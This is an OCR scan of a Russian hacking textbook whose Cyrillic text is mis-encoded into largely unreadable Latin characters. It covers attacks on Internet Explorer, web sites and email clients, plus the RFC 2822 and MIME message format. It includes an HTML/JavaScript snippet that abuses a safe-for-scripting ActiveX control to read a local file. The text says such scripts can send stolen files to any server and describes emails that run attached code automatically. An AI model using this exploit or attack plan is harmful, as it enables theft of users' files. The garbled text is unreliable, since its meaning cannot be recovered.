1IONHATH ornpasxy 3nempommx IIHCEM MO YKa3aHHOMY a.zxpecy

mm—hhﬁ-u-ﬁa-rﬁi—u

J’a 'Az\fl‘-)"""}\me"‘“e‘ ‘ .
'Irerne aibna Ci\security.ixt

MWKOTOPaA BaXHAA UHPOPMALM

‘ x
P R T e

Puc. 5. Peaymetat yreHus (haiios ¢ oMompio bpeiiMoB.
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HaHHas yA3BHMOCTb CBA3aHA ¢ OIIMOKAMH B PEAIH3AIMU CO-
6urTa NavigateComplete2, xoropoe coobmacr o 3aBepmeHus nepe-
MEINEHHS JOKYMEHTA Ha HOBOE MECTO.

3. Ucnonb3osanue cneHapues ActiveX.

Anementnr ActiveX nmpencraBasior coGoit HeGonbmue mpo-
rpammel, Brmouacmeie B HTML-kox BeG-cTpaHuips! Ans IpUAAHHA
¢il MHTEepakTHBHEIX Bo3MoxHocTeH. Ilpu 3arpyske Opaysepom BeG-
CTpaHHIEI NporpaMma, peanu3yromas 3neMenT ActiveX, 3amyckaer-
ca # BHMomHAET cBoM (ymKipH. TlockoimKy mporpaMMHbIN KOX
ActiveX HmeeT Te Xke npasa JOCTyna K HHGOPMAIMOHHBIM pecyp-
€aM, 9TO H y4ETHaA 3amHCh NOIb30BaTENA Opay3epa, TO I Kpakepa
3IEMEHTHI ABJIFIOTCS HEIUIOXHM HMHCTPYMEHTOM JUIS B3JIOM2 KOMIIb-
0TEPA KIIHCHTA.

Jna sangarer kmerToB VinTepHeTa or Tako# yrposst cossa-
TenL TexHonoruu ActiveX — xommannms Microsoft — Brmouuna B
MexaHu3M 06paborku anemenToB ActiveX mpoBepxy undpossix cep-
TH(HKATOB, KOTOPHE MPUCBAMBAIOTCS KHKLOMY OQHIMANBHO 3ape-
FHCTPHPOBAaHHOMY 3JIcMEHTY ActiveX yITOJHOMOYCHHBIMH OpraHH-
sammavu. M ecmu mapamerpmt GesonacwocTu Opaysepa HaCTPOCHEI
KOPPEKTHO, TO aBTOMATHYCCKHIH 3aMyCK HE CEPTHOHLMPOBAHHBIX
ameMeHTOB ActiveX OyJeT HMCKITIOUEH — KaK MHHHMYM, HOJNb30Ba-
Temo Oyaer oroOpaxkaTsCi COODLUEHHE O 3arpy3Ke MOTEHLHANLHO
omnacHoro anementa ActiveX.

Teoperuaecku, Takoit Mexanu3M obecnieueHHs Ge30onacHOCTH
© BHINBAUT Oe3ynpevuHo, OAHAKO HA NMPAKTHKE BCE OOCTOMT JAJIEKO HE
Tak roajxo. IIpuauea ToMy — omubkn peamsaim u GecrevHoOCTh
NOB30BATENECH, KOTOPHIC YacTO HE OOpamaroT BHUMAHMA HA MENb-
Karomue cooOmeHns o 3arpy3ke He cepruduuuposansbix ActiveX u
COTTIAIIAFOTCA HA MX 3arpy3Ky, HE JyMas O TIOCICACTBHAX.

Korna B 3arpyxenHoii BeO-crpammue BCTpewaeTcs  Ter
<OBJECT> co ccnikoit Ha aneMeHT ActiveX, Opaysep mmer B cuc-
teme Windows Tpebyemeiit anement ActiveX u nanee nmbo HCnons-
3yeT AJI4 BOCHPOM3BECACHHUS CTPAHUITLI HAMACHHBINA d1eMeHT ActiveX,
mub0 3arpyxaer €ro U3 yxasaHsoro aapeca. Ilpu 3tom BeImONHSETCS,
KaK YIIOMHHAJOCH BHIIE, IIPOBEpKa mubpoBoro cepruduxara 3ne-
MeHTa ActiveX.
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Ho uacts anemenTos ActiveX cucremst Windows umeer ycra-
HOB/eHHENH mapamerp safe for scripting (Gesonachmie ms cienapu-
CB), ITO OTMEHAET NPOBEPKY MX CEPTH(HMKATOB PH MX 3arpysKe H3
Hureprera. M cpemu HekoTOpeX 3nemenToB ActiveX, noMeucHHbIE
kax Ge3onmacHsie Ayis CUCHApHEB GsUTH HAMACHH YA3BHMOCTH, TIO3BO-
/ISIOIMHE 3AMMCHIBATE H PEAAKTHpoBaTh (aiinel HAa KoMmBIOTEpE
nons3oBarens ¢ 6paysepom IE sepeun 4.0.

B cucremax Windows 2000/XP Taioke MMEIOTCH CBOH 3EMEH-
ol ActiveX, oTMeueHHEIE Kak Ge3omacHsie LI CLIEHAPHEB, H YIpo3a
MX MCTONb3OBAHMS I B3IOMA CHCTEMBI 3amutsl Gpaysepos IE 5 u
[E 6 ocraerca axtyamsroit. Takum 06pazom, HA KAKIOM KOMIIBIOTE-
pc Windows 2000/XP noTCHUMANBHO HAXOASTCH, TaK CKa3aTh,
«CIMHE TPOSHCKUE KOHH», TOIBKO M JKAYIIHE CBOECTO XO3SMHA.
Cpenu axobm Gesonacmuix ActiveX MOryT HAXOZHTLCH SAEMCHTH C
BCCHhMA OOMIMPHBIME ()YHKI{HSIMH.

Ecma sarycrums 8 cranpapraom Gpaysepe Windows XP npH-
REICHHBIHM HIDKE KOJ, OCHOBAaHHMIIA Ha ysssumoctH IE 4.0, 10 B 6pay-
scpe IE 6.0 mpu cTaHAapTHBIX HACTPOKax Ge30NMacHOCTH' NOABHTCA
/M 3aMpOC Ha BeIMOAHCHWE 3nementa ActiveX. Ilpu yreepam-
"CIBHOM OTBETE Copepxumoe daiina security.txt GyneT BEBEACHO Ha
JKpaH (cM. puc. 6).

<HTML>

<SCRIPT>

alert("Jtor cuenapuii npouen cnexyromee: c:\\security.txt")
v=new ActiveXObject ("MSScriptControl.ScriptControl.1");
v.Language="VBScript";
x=v.eval('GetObject("c:/security.txt", "htmlifile")');
setTimeout("alert(x.body.outerHTML.);", 2000);
</SCRIPT>

</HTML>

! Craupaprasie HacTpoiiku 6€30MaCHOCTH I8 3NeMenTos ActiveX B IE 6.0:
e 10lACHBIE I CICHAPUEB — DA3PEIIHTD, HOMIMCAHHEE — MpeIJIaraTh, OCTAML-
HLC laﬂpe'ﬂﬂl:.
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Puc. 6. Pesynbrar wrermst $ailiios ¢ IOMOIIBIO ClieHapys ActiveX.

Pa3 comepxumoe (aiina security.txt cTamo AOCTYIHBIM AJist
CIICHAPHS, 3HAYMT CLECHAPUN MOXET Iepejarh Cojepxumoc (aiina
security.txt xak Ha BebG-cepBep, ¢ KOTOpPOro Oblia 3arpykeHa 3Ta
CTpaHHLA, TaK ¥ 10 roboMy Apyromy aapecy Murepuera.

CIeA0BaTENBLHO, 3HAA PACTIONOKEHUE BXHBIX (aiiioB, MOXHO
nonpoboBaTh H3BIEYb UX COACPKUMOE, HOMEIAs Ha cadrax Murep-
HETA CTPAHHLBI CO CLICHAPUSMH M3BJICYCHUA B cOOpa JAHHBIX.

6. Urenue naunnix u3 daitnos Cookies.

Qaiinm  cookies — 3TO HacTOAINEE «30J0TOC JHO» I
B3IOMIIMKOB. B 3THX daiinax MoXer XpaHHUThCA BCE YTO YTOAHO —
IapoIM JOCTYNA K IJaTHeIM pecypcam MuTeprera, damunum 1 uMe-
Ha monb3oBartenci, TenedomHbl, aapeca, ¥ TaK Jajiee H TOMY MOX00-
HOE — KOpOYE TOBOpS, B HUX (PHKCHpPYETCS BCE Pe3yabTarsl Ipelni-
BaHus mojs3osaTens B VHrepuHere.

Yrobsr nonyunts ¢aiiner cookies, Kpakep MOXET BOCHOIb30-
BaThCA HEJOCTATKAMH CHCTEMBI 3amuThl BeO-Opaysepa, mo3Bojsiio-
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muMu oOpaTHThCH K JOKansHBIM (aiinam xommbiorepa. B panmmx
Bepensix IE Taioke Oblla BO3MOXKHOCTD HMONYYEHMS COACDIKUMOTO
daiinos cookies ¢ MOMOMBIO BKIIOUCHHA B cieHapuii JavaScript He-
KOPPEKTHOTO afpeca CChUTKH Ha CaifT, pacCHUIalomuii 3ty daitsl.

Bce paccMoTpeHHEIC HAMM BapHAHTHI ATAK NPEJCTABIAIOT CO-
6oit ataku Ha Opaysep wmenra. Teneps paccMOTpuM aTaxu Ha BeO-
CaliTHI, T.€. HA CEPBEPHL.

OcHoBHEIE BHABI aTaK HA BeO-CaHTHI:

1. MiameHeHne BHEIIHETO BUAA CTPAHHIIL

DTOT BapHaHT aTaK MPUMEHAETCS Kpakepamu aubo U3 Xyiu-
rasckux noOyxaenuit, 6o g AuckpeauTauy GUPMBI BIAJEHLA
caifta. 3aKo4acTcs B M3MCHCHUH KAPTHHOK, NMOABICHUM Haarmceil
«B3JIOMaHO TaKHM-TO», OCKOpOnex il u T. I

2. Co3nanpe «IOXKHOro» BeG-caifra.

Henn 310 aTaky noMyYuTh JAHHLIC MONB30BATENS, HMUTHPYS
BHEIIHMIT BUA kakoro-nmubo caifita. Kpaxep cozpaer xormmo uMuTH-
pyeMoro caiita, OONYHO C IIOXOXHM JOMEHHHM HMCHEM, WIH Opra-
HH3YET CCBUIKH HA CBOIO CTPAHHIy C JPYTHX CalTOB, BHJABasA B OIMH-
caHHM CBOH caiit 32 mogmensemsiii. Ilons3oBaTens BBOAMT CBOHM
J@HHEIC B OKkHa $opMbl B OHH Nomemaiorcs B Gasy xpaxepa. Manece
HOJB30BATENE NCPEBOANTCS HA HACTOAINMI CaiiT.

OGBIMHO MOAMEHSIOT CalTHl HACKTPOHHLIX MAara3HHOB H IUIA-
TCKHBIX CHCTEM C LEbIO MOAYHEHHS JOCTyNa K (HHAHCOBRIM Cpel-
CTBaM HX KIHCHTOB.

3. W3menenwe KOia CTPAHMITHL.

Yrobel opraHu3oBaTh aTaKy Ha Opay3sepsl KIMEHTOB, Kpaxep
JODKEH BMETh Kakoi-to caiir. Ilpu srom Ha caifr gomkHO «3axo-
AnTE» GONBINOE KONMMYECTBO MONb30BaTeNeH. BMecTo cozaanus cob-
CIBCHHOTO CaHTa M OPraHM3alfHH PEKIAMHON KOMITAHWH, KPakep MO-
HCT CIIErKa M3MCHHTh CTPAHHIB W3BECTHOro BeO-caiira, 9100H IMpu
¢r'0 MOCEIICHUH BHI3BIBANCE KPAKEPCKHE CKpHITThL. Taxum obpaszom,
KPIAKEP MOMKET, KaK MOJMydaTh BCIO HHPOPMAIHIO O IOBEACHHH MOMTb-
0OBATENS HA CANTE M IICPEXBATHIBATH €FO 3aIPOCHI, TaK K OPraHu30-
niITh ATaKy HA KIHEHTCKHH KOMIBIOTED C LEBIO MOMY4CHHA XpaHid-
inclics Ha HeM MH(OPMALHM.
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DT0T BapHAHT TAKOKE MOXHO HCIONL30BaTh A JUCKPSAUTA-
L(MH CaiiTa, HO B 3TOM CIIy4ae CKPHIITH KPaKepa MOMKHBEI OCYINECTB-

JATh HE CKPHITYIO KPaXy HH(OpMAIMH, a IPOH3BOAMTD aTaKy Ha OT-
ka3 B 00CTyKHBaHHH.

4. Momubuxanps KIHSHTCKHX 3aNPOCOB_C HEJNBbIO NOMYHEHUA

Jocryna k 6a3c JaHHBIX cepBepa.
Ecnu caiit npeanonaraer BeAady MONb30BATEINO OTBETOB M3

HEKOTOpPO# Ga3bl JaHHBIX, TO, MOAUHUIMPYA NMAPAMETPHI 3aIPOCOB B

agpecHOl CTpoke Opaysepa, MOXHO NOJYYHTh BCIO XPAHAIXYIOCH B
Gase saHHBIX HHPOPMAIMIO.

MOXHO BBHIICITHTh 1 OCHOBHBIC LIEAM KPAKEPOB MPH aTakax Ha
BeO-calfTh:

— DOJNYYCHHE AAHHBIX O TIOIb30BATENAX;

— OpraHM3aIMs aTak Ha BeO-Opay3ephl ONb30BATENCH;

— OHCKPEIHUTALMSA BIARCNLICE BeD-caiiTa;

—~ XYJHMIaHCTBO.

Kax MOxkHO 3amurHThCs OT aTak Ha BeG-Opayscpst u Bel-

CAaTHL.
3ammTa ot aTak Ha BeG-Opaysep:
— Cobmonenne Mep MpeZOCTOPOKHOCTH IIPH BBOAE KOH(bH-
JEHIHATBHBIX JaHHBIX. Bee caifThl, mpeanaraomue miaTHbie YCIyTH,
JOJDKHBI HMETh CEPTH(HKAT OT HAAEKHOrO NOCTABIMKA UM 00ecKie-
9YUBATh 3AMHIICHALIC COSAHMHEHHS HO IpoToKoTy SSL.

— Hcnone3oBarh MEHEE pPacHpOCTpaHCHHHBIC Opaysepbl, Tak
KaK BEPOSTHOCTL OpPraHM3aLMH ATaKK Ha HUX MEHbIIe, 9eM Ha IE.

— Perynapro obnoBiaTs BeG-Opaysep W moaaepxkuBars Ha-
CTPOMKH €r0 CHCTEMEI 3aIIUTH HA AO/DKHOM YPOBHE.

— Hcnons308aTh aHTUBHPYCHI.

3amuTa or aTak Ha BeG-cepBep:

— I'pamorHoe Hanmcanwe 0OpabOTIMKOB 3amPOCOB, HMCKITIO-
yaromee MoOble HEAOMYCTHMbIC KOMOMHAIMY BXOJHEIX NAapaMeTPOB.

— PerynapHoe 0GHOBIICHHE ITPOrpaMMHOTO 00ECIIEIECHUA CEp-
BEPA M HACTPOHKA CHCTEMEI 3AIKTHI.

42

— PerynspHas nmpoBepka CHCTEMHBIX xKypHanoB. Xenarensua
OpraHu3aus JyGIMpPOBAHYA JKYPHAMPOBAHHUS HA NPUHTEDE.

— Ilepnommeckoe cpaBueHue cranuy BeG-caifTa ¢ ux peseps-
HOH KOmHCH.

— Hcnons3osanue COXHRIX Mapoleii aMUHHCTPATOpa CaliTa.
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T'JIABA 4:
Cerenbie ataku. ATAKH HA HOYTOBBIE KIMEHTbI

CepBHC 37EKTPOHHOM NOYTH! NPEAHAIHAYEH AN NMEPECHUIKH
COOOIICHMH U3 OJHOrO NOYTOBOrO AIMKA HA IMOYTOBOM CEPBEPE B
apyroii. Kax wu3BeCTHO, aapec 3AEKTPOHHOH MOYTHI 3ANMUCHIBAETCS
cnegyiomuM obpasom: IlouroBstii_suuk @TIouToBRIl_JoMeH, rae
TouToBRIH_smuK — 370 MACHTHHUKAMHUOHHOE HMs (JIOTHH) MOJIL30-
BaTENd IOYTOBOTO SIMHKA, a IJOYTOBBIA_NOMEH — AOMEHHOE HMMS
KOMITBIOTEPa ¢ PYHKIHOHMPYIOIMM MMOYTOBRIM cepBepoM. Paccmor-
pUM MEXaHH3MBI pabOTH! IJEKTPOHHOMN MOYTHI.

DyHKIMOHMPOBAHHE JNIEKTPOHHOM NOYTH obecneuwBaercs
mnporokonamMu SMTP, POP unmun IMAP, xotophie, B CBOIO O4EPEAb,
OINHPAIOTCA Ha ceTeBhle mporokonnl TCP/IP.

— Ilporoxonx SMTP (Simple Mail Transfer Protocol — Ilpo-
CTOH HPOTOKON MEPEAAY HOHUTH) 3aBEAYeT nepenaueii coobmenmit
MEK/AY IIOYTOBLIMH CEpBEpaMHU.

— Tlporoxon POP (Post Office Protocol — IMouyroBsiii mporo-
KOJT) — OTBEYACT 33 JAOCTYII IOJIb30BATENSA K NOYTOBOMY SINHKY.

— Tlporoxon IMAP (Interactive Mail Access Protocol — Ipo-
TOKOJI HHTEPAKTHBHOrO JOCTYNA K JNEKTPOHHOH IOYTE) — MMEET TO
KE mpesHa3HaueBHe, 910 M nporokoi POP, Ho obecneauBaer BO3-
MOXCHOCTH TIO KATAJIOrH3aLHy M XPAHEHHIO MOYTH HETIOCPEACTBEHHO
Ha ccpBepe.

Anroput™ paboThI 3ICKTPOHHOM MOYTHI:

1. JTna kaxzaoro momb3oBaTelis YIOYTOBOTO CEPBEpa CO3AACTCH
yd4€THas 3aMHCh, CONACpXKAamas ero IOYTOBBI ajapec, Hampumep,
vasia@email.com n no4ytoBwii sumuk B Buae (aiinma, xpaxsmero
npUBATHE coobmenus. JlocTyn mons30BaTeNsd K MOYTOBOMY SIHKY
OCYHIECTBIIACTCA TIO NAPOIIO.

2. TloutoBnie cOOOmEHHs, OTHPABIKCMBIE IONB30BATENIEM
vasia HONB3OBATENIO petia C TOYTOBRIM AJPECOM, HAIPHMED,
petia@post.com, MOCTYNAIOT Ha MOYTOBHIH cepsep email.com mo Te-
aedoHHON THHEH HIIH 9epe3 IOKAIBHYIO CETh.
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3. Tloarosniit cepeep email.com oGpabaTbiBacT MOMydCHHOE
coobmenve. BoamoxHu ABa BapuanTa:

a). Ecnn noMeHHOE MMA KOMMBIOTEpPA B TIOYTOBOM AApPECE
IHCBMA COBIAAACT C JIOMCHHBIM MMEHEM JAHHOIO MOYTOBOTO CEPBE-
pa, DHCHMO MPOCTO MOMeEIAETC B (aiiil MHOYTOBOrO SMMKA IOIL30-
sarens petia. B pameM cnyuae 510 HE TaK, M CIPABEIMB BTOPOM
BAPHAHT.

6). Ecim noMeHHOE MM# KOMIBIOTEPa B IOYTOBOM axppece
1NHMCEMA HE COBMNAJACT C AOMCHHBIM HMEHEM JAHHOTO MOYTOBOIO CEp-
8¢pa, TO MOYTOBKIA CEPBEDP email.com 3anpanmsact y cepsepa DNS
CCTEBOM AAPEC MOYTOBOIO CEPBEPA POSL.COM W MEPECHUTACT EMY CO-
ob1enHue Ui nob30BaTens petia.

4. IToms30Barens petia no mporokony POP (i IMAP) o6pa-
HEETCH K CBOEMY NOYTOBOMY SIIHKY, YKAa3biBasd CBOH JIOTHH U ma-
PONB, ¥ NIOTYYACT HCHMO.

ATaxy Ha 3IEKTPOHHYIO MOYTY MOXKHO PAa3fCIMTh HA YETHIPE
Kjacca.:

— MEpexBaT COOOIIEHMIA;

-~ aTaKH Ha TOYTORMIC KJIHCHTBI,

— aTaK! Ha TOYTOBBUL AIMWK;

— CONHANbHAL MHXXCHCPHS.

1. TlepexBat coobuieHuii.

Tax kak peruCTpalMOHHBIC JAHHBIC M MHCHMA MEXAY KIMEH-
TOM M CEPBEPOM, B GONMBIIMHCTBE CiTy4aeB, NEPSIAIOTCA MO CETH B
UCIAMMIIEHHOM BHJE, TO WX JIETKO NEPEXBATHTh IPOrpaMMamu-
cindepamu (em. I'nasy 6).

TamoKe MOKHO NEPEXBaTHIBATG HMOYTOBHIE COOOIICHMS, HEpe-
/\1BAEMBIC MEXKIY NOYTOBBIMK cepBepamu 1o mporokony SMTP. Jtu
COOOIIEHHA, KaK NPaBHIO, IEPENAXOTCH B HE Ay TCHTH(HITMPOBAHHELX
ceancax SMTP, 910 OTKpBIBACT IIMPOKHE BO3MOXHOCTH It Cria-
mudra ¥ QanscHpuKamm cooGuieHuMiA.

2. Ataky Ha NOYTOBHIE KJIMCHTHI.

2.1. IlomermeHne B TENO MUCHMA AKTHBHOIO KOAA.

Kax wu3BECTHO, K KakAOMY DIJEKTPOHHOMY HHCHMY MOMKET
UPHKPEILIATECA BIOXCHHE — (aill DpOM3BOIBHOrO THINA, B TOM
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gucne ucnonssembtii daiin. Ilemaok Ha 3HauKe BIOXKEHHS OTKPHIBA-
er (haiin — T.€. 3amyCKACT BIOXKEHHYIO MPOrpaMMy, IOCIE YEro Ha-
CTYNaloT NOCNEACTBHS, HE BCEr/ia OTBEYAIONIHE OKHIAHUAM HOTyqa-
TEJA IMCHMa.

Tak 4r0 BrOKEHHS CaMH 1O cebe — YKE MOMHBIN HHCTPY-
MEHT B3JOMa, C yd4eToM Toro, 4ro HeiHe B VinTeprere paGoraer
MHOXKECTBO HEONBITHBIX MONL30BATENEH, TOTOBHIX KIIOHYTh HA 3a-
MaHYHBOE IIPEAIOKCHHE, HAIIPUMED, OOHOBHTSH IIporpamMmy Opaysepa
IE, 3arpy3uTs «MHTEPECHOE» IPUIOKEHUE H TaK Jajice (B 3aBUCHMO-
cTe OoT (avTasu| aBTOpPa MHUChMA). JTO — JOCTATOYHO TPHBHAJL-
HEI, HO 3(deKTEBHEIA CIIOCOD B3NOMa KOMIILIOTEPA, MOCKONBKY HA
NpUCME NOYTH B OPraHM3AIMAX, KAK IPABHIIO, CHAST JIONH, HE
CHIILHO CBERYINME B KOMITbIOTEPHBIX TCXHONOIHAX.

Ho »xaartp Koraa nois308aTenb CaM 3aifyCTHT MPHKPEILICHHBIH
taiin se camerii xopowmmii Bapuant. Jiyuine HarmmcaTs Takoe IHCHMO,
KOTOpOE 3aIlyCTUTLCS aBTOMATHICCKH, 663 y1acTHI MMOTb30BATE.

s BononHeHMA Takoi araku TpeOyercs CrenHanbHasd NoA-
FOTOBKA 3JIEKTPOHHOTO IOCHAHUA, KOTOPYIO CIEAYET BBHIIONHATH
BPYYHYIO — MOYTOBBIC KITUCHTHL HA TaKue ACHCTBUS HE PACCYHMTAHBL.
Yrobul pasobparbcs B xak paboTaloT Takde INMCHMA, HYXHO 3HATh
YTO mpeAcTaBiieT co0o# 3nexTpoHHoe muUchMO. [TosTomy, BHauane
Kparko ormmeM (opMAT, T. €. CTPYKTYPY SIEKTPOHHOrO ITMCEMA, a
YX MOTOM MOCMOTPHM, KaK Ha OCHOBC 3TOT0 MOXXHO COCTAaBHTh
TIMCHMO JI7I aTAKH HA TTOMTOBEIHM KIHEHT.

dopmaT COOOMEHMH NEKTPOHHOH MOYTH.

®opmat cooOmEeHHiT MEKTPOHHOM MOYTH ONMPEAENIEH B JAOKY-
menare RFC 2822. CoobmeHue 3neKTpOHHOM MOYTH COCTOMT H3 TEK-
CTOBBIX CTPOK OTPAHMYCHHOM [UMHBI, H KOKAAA CTPOK2 BKIIOYAcT
camBonsl ASCII u 3Haku nmpermuanms. Kax npasuiio, gomyckaercs
KCTIONB30BaTh TOMbKO CHMBOJK! AHTJMHCKOrO A3bika (CeMHOHTOBaA
KOZMPOBKA), OXHAKO CEHYac MOYTOBHE CHCTEMsI, CIOCOOHBI pabo-
TaTh M ¢ pacumpeHHasM HabopoM cumeonor ASCII (BoceMubHTOBas
xoauposka). CTpoku pasaensorcs Mexay coboH mapoil CHMBOIOB
<CR><LF>, o3nadaromux KoJ Bo3Bpata kaperkm (kox 13) m mepe-
Bofaa crpoku (xox 10). Makcumansras mmHa cTpoku — 998 cumso-
JI0B, HO PEKOMEHYETCA HCIIONB30BaTh He bonee 78 cuMBOMIOB.
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Kaxnoe coobmenne BKITIOUACT 3aroN0OBKA H TEN0 COOOLICHHS.
3aronoBKH OTAENAIOTCA OT TENA COOOWECHUA MyCTOH CTpOKoid. Kax-
/bl 3arOJIOBOK HAYHHACTCH C HOBOM CTPOKM H HMeeT Tako# dopmar:
Knioaesoe_cnoso: Jlannsie

Hanpumep: Subject: Pesiome

J1a cTpoKa O3HadYaeT, 1o TeMo# (Subject) mucema aBsETCHA
Pesiome aBTOpa. Ecmu cTpoky mpuXOAMTBCS AEIHTH HA HECKOJBKO,
10 NIOCIEAYIOMME CTPOKH ITOrO K€ 3aro/IOBKa HAYUHAIOTCS ¢ CHMBO-
na npobena wim TalyasiHy.

3aronosku coobmenus MOryT ObITh pa3sIMYHBIX THIOB, B Ta6-
nMUEe MPHBEASHK HAHGONICE PaCIIPOCTPAHEHHbIE THIIBI, KOTOPHIE 10~
1pelyroTest HaM B JaMBHeHIIEM:

Knrouepoe
CIIOBO
trom TTouToBHIi aapeC OTHPABHTENA, KOTOPLIH MOKET ORITH TAKHM:
vasia@email.com, WIR TaKHM: "Vasia Ivanov"

(vasia@email.com).

Reply ITouroBhiii anpec AIA OTBETA HA MHCHEMO — €CIIM TAKOI'O 3aro-
) JOBKA HET, ACNONL3yeTcs mone From.

To TouToBEIA aapeC mOIy4aTeN.

t'c ITouroBnie aapeca AOMONHMTENGLHLIX NOJYJATENCH, Pa3AeICH-
HEIS 3AMATHIMA

Hee Tloyrosnie agpeca moxyyareici, HCBHIMMBIC UI OCTAJIBHBIX
NOXY4aTelIcH, T. €. mepeuucieHnsx B nowax From u Ce.
Subject Tema mucrMa — moboii TekcT

Date Jlata ornpasxu, sanpamep, Sat.16 Jun 2003 15:34:17+1000
Message-ID | Vunxamsseii AneHTadukatop coolmennd, reHcpupyeMblii
DOYTOBEIM CEPBEPOM MCKIIOYHTCIBHO A CBOMX HYKZI, Ha-
npumep: <3.0.4.44.30445445754533.0035 @email.com>
JlobaBiserca KaxamIM NOYTOBBIM CEPBEPOM, HEPE3 KOTOPHIA

Hasznauenme

Received

IOPOXOIAT COODMEHHAE.

Bce nomp3oBaTem mMoMTOBBIX KIHEHTOB, HAUPHUMEpP, KIHCHTA
Ontlook Express (OE), yxe BcTpedanuch ¢ NEpeYHCICHHEIMHE B Ta0-
INIC NONAMH — OHHM COOTBETCTBYIOT HOISIM B JIHAJIOTe KJIMEHTA JUIL
niO/A aJpeca, TeMbI COOOIIEHHS B TaK Jajiee.
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Teneps MOCMOTPUM, KaK BBIIVIZHT 3JICKTPOHHOE NOCIAHHE
TIPM €ro nepenadc mo CeTH. ’

Received: from petia.email.com [1.0.0.7] by alex-3.sword.nefc
with ESMTP

(SMTPD32-5.01 EVAL) id A4A7502B6; Thu, 16 Jan 2003 14:25:11
+0200

Received: from petia [1.0.0.7] by petia.email.com

(SMTPD32-5.01 EVAL) id A76080152; Thu, 16 Jan 2003 13:28:32
+0200
Message-ID: <008601c2bd52$6682¢ec0$07000001 @email.com >
From: "kolia" <kolia@email.com>

To: <petia@email.com>

Subject: Congratulations

Date: Thu, 16 Jan 2003 13:28:32 +0200

MIME-Version: 1.0
Content-Type: text/plain; charset="koi8-r"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
X-RCPT-TO: <petia.email.com>
X-UIDL: 7

Status: U

Happy New Year!

Kax BramM, Bce 10BONBHO IMOHATHO, KPOME TONEH B KOHIE —
OHH HCTIONB3YIOTCH TPOTPAMMAMH IIOYTOBHIX KIMEHTOB, H IOJA
Content-Type, KOTOpOE OTHOCHTCS K COACPMUMOMY IIHChMA, XpaHu-
MOMY B Tene cooOmenns (BMecTe ¢ Broxenuamu). Popmar tena co-
obmenus onpenenserca coecuupukanueit MIME (Multipurpose
Internet Mail Extensions — MHoroueneBse pacimMpeHHa SIEKTPOH-
Hoil nmourel Mureprera). [ins nac cnemmuduxaus MIME umeer pe-
INAIOIIEE 3HAYCHHE, MOCKOIBKY CBOM aKTHBHBE KOA MH Oyjem mo-
MEIIATh BO BIOKCHHE K IIHCEMY.
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Cneunduxarms MIME

Jina BKIIOYEHMS B IIOYTOBOC COOOIIEHMC ABOMYHBIX JAHHBIX,
COCTABHBIX JAHHBIX, COCTOAINMX M3 NOPLMI pa3nWdHLIX THIIOB, a
TAKKE CHMBOJIOB C BOCLMHOHTOBO# KOJMPOBKO#H, HanpHMEP, CHMBO-
o8 kupwMEl, cnetmbuxkamms MIME npeanaraer ans ucnons3o-
nauus TpH 3aronoska: Content Type:, Content-Transfer-Encoding: n
ncoba3arensHuIi 3aronoBok Content-Disposition:. B pononnenune x
uumM B MIME npegocrasnserca 3aronosok MIME-Version:, 3anato-
umit Bepemo cnenmbuxap MIME, npuMeHseMy0 B JaHHOM NO-
ClIAHUM — B HACTOAIIEE BpeMsA Hcmomb3yercs Bepcus 1.0, Tak yrTo
"YTOT 3ar0JIOBOK BCeraa Oyaer Takoii:

MIME-Version:1.0

O6muit dopmar 3aronosxa Content-Type Takos:

Content-Type: Tar/noarui; napaMerp=3Ha4cHHE;

3armce THM/MOATHN 33AaST CTAHAAPTHHIH THII M TNOXTHII
BKIOYCHHBLIX B MHCHMO JAHHBIX, ONPEAENSEMBIX CHerMbHKanueit
MIME u nazsiBacmMerx MIME-Tanams.

Ture! ¥ noxTHIH ganHbiX cnenpdukarpm MIME

T/ noaTAn Hazsauenue

text/plain TexcroBnie gapubie (wm kox HTML). B raGop napa-

text/btml MCTPOB BXOMT:
charset=nazeanue_xooupoexu_cumeonos
Hanpumep, charset=koi8-r 03Ka4YaeT KEPHLIAILY.

image/jpeg Tpadrueckne nanHbIe, HAPAMED,

inmge/gif ontent-Type: image/gif

sucho/x-realaudio  |3Bykosrie (ayauo) qJanubic, HMED,
Content-Type: audio/x-realaudio

video/mpe Buaconanmsie, HMED,

video/quicktime Content-Type: video/mpeg

spplication/postscript{TIpunoxerma (Tun application) ¢ mApoxUM HAOOPOM
spplication/msword |MOATHIIOB, COOTBETCTBYIOMAX IMPHICHKECHWAM, M3 KO-

application/zip TOPKIX BRIZICIHM YHHBEPCAITH THH octet-stream —
spplication/octet- MOTOK ABOMYHBIX JAHHEIX:

slrcam Content-Type: octet-stream

multipart/mixed multipart - 310 Baxsenumn J14 #ac MIME-Tun, xo-
multipart/related TOPHH OMPENENACT, Y70 COOOMICHHE COCTOMT H3 HE-

multipart/alternative |CKOMBKMX mOpumil, KaKAasd M3 KOTOPHIX MMEET CBOH
3aroNoBKH ¥ Te10. Ioarumst mixed, related, alterna-
tive YKa3bIBAKOT, YTO 3TH NOPIUH COACPIKAT BIIOMKE-
HIA, COOTBETCTBCHHO, CO CMEINAHHLIMY, B3aMMOCBS-

3aHHLIMH H AJIbTCPHATUBEBIMH THIIAMH JAHHBIX.
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O6mmii gopmar 3aronoska Content-Type-Encoding Taxos:
Content-Type-Encoding: xooupoexa

3HavyeHMe 3arONOBKAa ONPEACIACT IPEACTABICHHWE JAHHLIX B
Tene cooOmEHNs, M MX KOAMPOBKY, €CITH KOAMPOBAHHE OBINO mpume-
HEHO. Bo3aMoxHBIe 3Ha4YeHus Nons BKMOYaoT 7bit — cemMuOuToBas
KOAUPOBKa Us-ascii, 8-bit — BoceMubuUTOBas KOAMPOBKA, binary —
no0aifToBbIi MOTOK ABOMYHBEIX AAHHBIX, quoted-printable — xopu-
POBaHHBIA BOCBMHOHTOBBI TekcT, base64 — IBOWYHBIE JAHHEBIC,
KONMPOBAHHEIC aITOpHTMOM Base64.

Heobs3arensubiit 3aronosox Content-Disposition ympasnsier
BOCIIPOH3BECHUEM MODPIMHK COOOLICHHS MPH €ro0 NPOCMOTPE B HOY-
TOBOM KIJIMCHTE, TEM CaAMKIM, C TOUKH 3PCHMS B3IOMIIFKA, ABJACTCA
BOXHCHIIMM KOMITOHEHTOM ITHCHMA C AKTHMBHLIM KOJAOM.

Hioxe npuseaen dopmar 31010 3aronoBKa:

Content-Disposition: inline; filename="image.gif"

3uaucHne inline o3nadaer, 910 daiin, ykasaHHLI HapaMeTpoM
filename nomken GbITL OTKPHIT MOYTOBHIM KJIMCHTOM aBTOMATHYC-
